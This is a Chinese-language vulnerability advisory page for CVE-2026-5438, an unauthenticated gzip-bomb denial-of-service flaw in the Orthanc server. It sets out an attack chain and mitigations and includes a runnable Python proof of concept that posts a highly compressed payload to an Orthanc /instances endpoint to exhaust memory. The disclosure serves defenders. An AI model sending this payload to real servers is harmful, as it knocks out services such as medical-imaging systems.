IPBUF安全漏洞报告
English
CVE-2026-5438 CVSS 7.5 高危

CVE-2026-5438 Orthanc gzip解压炸弹漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5438
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Orthanc

相关标签

拒绝服务Orthanc资源耗尽Gzip BombCVE-2026-5438

漏洞概述

Orthanc 服务器在处理带有 `Content-Encoding: gzip` 的 HTTP 请求时存在严重的解压炸弹漏洞。由于未对解压后的数据大小实施有效限制,攻击者可发送特制的高压缩比 gzip 载荷,诱导服务器分配过量内存,最终耗尽系统资源并导致服务拒绝。

技术细节

该漏洞属于典型的资源耗尽型漏洞,核心在于 Orthanc 对 gzip 解压过程的安全校验缺失。当服务器接收到包含 `Content-Encoding: gzip` 头部的 HTTP 请求时,会自动执行解压操作。攻击者利用“Zip Bomb”技术,构造一个具有极高压缩比的恶意载荷。该载荷在传输层面很小,但在解压时会根据压缩元数据生成巨大的数据流。由于 Orthanc 未对解压缓冲区大小设置上限,服务端会盲目尝试分配攻击者指定大小的内存块。这导致服务器内存瞬间被耗尽,触发 OOM (Out of Memory) 杀手或导致系统严重卡顿,从而实现无需认证的远程拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找暴露在互联网上的 Orthanc 服务器实例。
STEP 2
载荷构造
攻击者使用脚本生成一个恶意的 gzip 压缩包,该压缩包解压后会膨胀至巨大的尺寸(如数GB)。
STEP 3
漏洞利用
攻击者向 Orthanc 服务器的 HTTP 接口(如 /instances)发送 POST 请求,并在 Header 中添加 `Content-Encoding: gzip`,附上恶意载荷。
STEP 4
资源耗尽
Orthanc 接收请求并开始解压。由于缺乏大小限制,服务器尝试为解压后的数据分配大量内存。
STEP 5
拒绝服务
系统物理内存和交换空间被耗尽,导致 Orthanc 进程崩溃或整个系统无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import gzip import requests # Proof of Concept for CVE-2026-5438 # Generates a gzip bomb to trigger memory exhaustion def create_gzip_bomb(uncompressed_size): """ Creates a gzip payload that expands to a large size. Note: Adjust size based on target memory limits. """ # Creating a payload of zeros (highly compressible) # In a real scenario, this could be much larger (e.g., 1GB+) data = b'\x00' * uncompressed_size compressed_data = gzip.compress(data) return compressed_data # Configuration target_url = 'http://target-orthanc-server:8042/instances' # 100MB of zeros compresses to a very small size (approx 100KB) bomb_payload = create_gzip_bomb(100 * 1024 * 1024) headers = { 'Content-Encoding': 'gzip', 'Content-Type': 'application/dicom' } try: print(f"Sending payload ({len(bomb_payload)} bytes compressed)...") response = requests.post(target_url, data=bomb_payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - Server may be unresponsive (DoS likely).") except Exception as e: print(f"An error occurred: {e}")

影响范围

Orthanc (具体受影响版本请参考官方安全通告)

防御指南

临时缓解措施
在未升级版本前,建议在反向代理层面拦截所有包含 `Content-Encoding: gzip` 的请求,或者严格限制解压后的最大数据大小。同时,应密切监控服务器内存使用情况,一旦发现异常峰值应及时排查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表